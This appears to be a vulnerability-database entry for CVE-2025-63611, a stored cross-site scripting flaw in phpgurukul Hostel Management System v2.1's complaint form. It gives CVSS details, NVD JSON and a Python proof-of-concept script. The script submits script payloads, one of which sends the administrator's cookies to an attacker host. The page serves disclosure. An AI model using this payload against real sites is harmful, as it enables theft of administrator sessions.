Security Vulnerability Report
中文
CVE-2025-63611 CVSS 8.7 HIGH

CVE-2025-63611

Published: 2026-01-08 16:15:45
Last Modified: 2026-01-12 18:45:23

Description

Cross-Site Scripting in phpgurukul Hostel Management System v2.1 user-provided complaint fields (Explain the Complaint) submitted via /register-complaint.php are stored and rendered unescaped in the admin viewer (/admin/complaint-details.php?cid=<id>). When an administrator opens the complaint, injected HTML/JavaScript executes in the admin's browser.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:hostel_management_system:2.1:*:*:*:*:*:*:* - VULNERABLE
Hostel Management System v2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63611 PoC - Stored XSS in Hostel Management System # Target: /register-complaint.php # Trigger: /admin/complaint-details.php?cid=<id> def exploit_xss(target_url, attacker_payload): """ Exploit stored XSS vulnerability in Hostel Management System """ # Step 1: Register complaint with malicious payload register_url = target_url.rstrip('/') + '/register-complaint.php' data = { 'name': 'Attacker', 'email': '[email protected]', 'phone': '1234567890', 'complaint': attacker_payload, # XSS payload here 'description': '<script>alert(document.cookie)</script>' } try: response = requests.post(register_url, data=data, timeout=10) print(f'[+] Complaint submitted to: {register_url}') print(f'[+] Payload: {attacker_payload}') # Step 2: Extract complaint ID from response # In real attack, attacker would need to identify the complaint ID # Then trigger admin to visit: /admin/complaint-details.php?cid=<id> return True except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-63611.py <target_url>') sys.exit(1) target = sys.argv[1] xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' exploit_xss(target, xss_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63611", "sourceIdentifier": "[email protected]", "published": "2026-01-08T16:15:45.057", "lastModified": "2026-01-12T18:45:23.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting in phpgurukul Hostel Management System v2.1 user-provided complaint fields (Explain the Complaint) submitted via /register-complaint.php are stored and rendered unescaped in the admin viewer (/admin/complaint-details.php?cid=<id>). When an administrator opens the complaint, injected HTML/JavaScript executes in the admin's browser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:hostel_management_system:2.1:*:*:*:*:*:*:*", "matchCriteriaId": "6BE856ED-F173-401B-A708-FCE7FAB85178"}]}]}], "references": [{"url": "https://medium.com/@tanushkushtk01/cve-2025-63611-stored-cross-site-scripting-xss-in-hostel-management-system-v2-1-a23c2efc86ea", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/hostel-management-system/", "source": "[email protected]", "tags": ["Product"]}]}}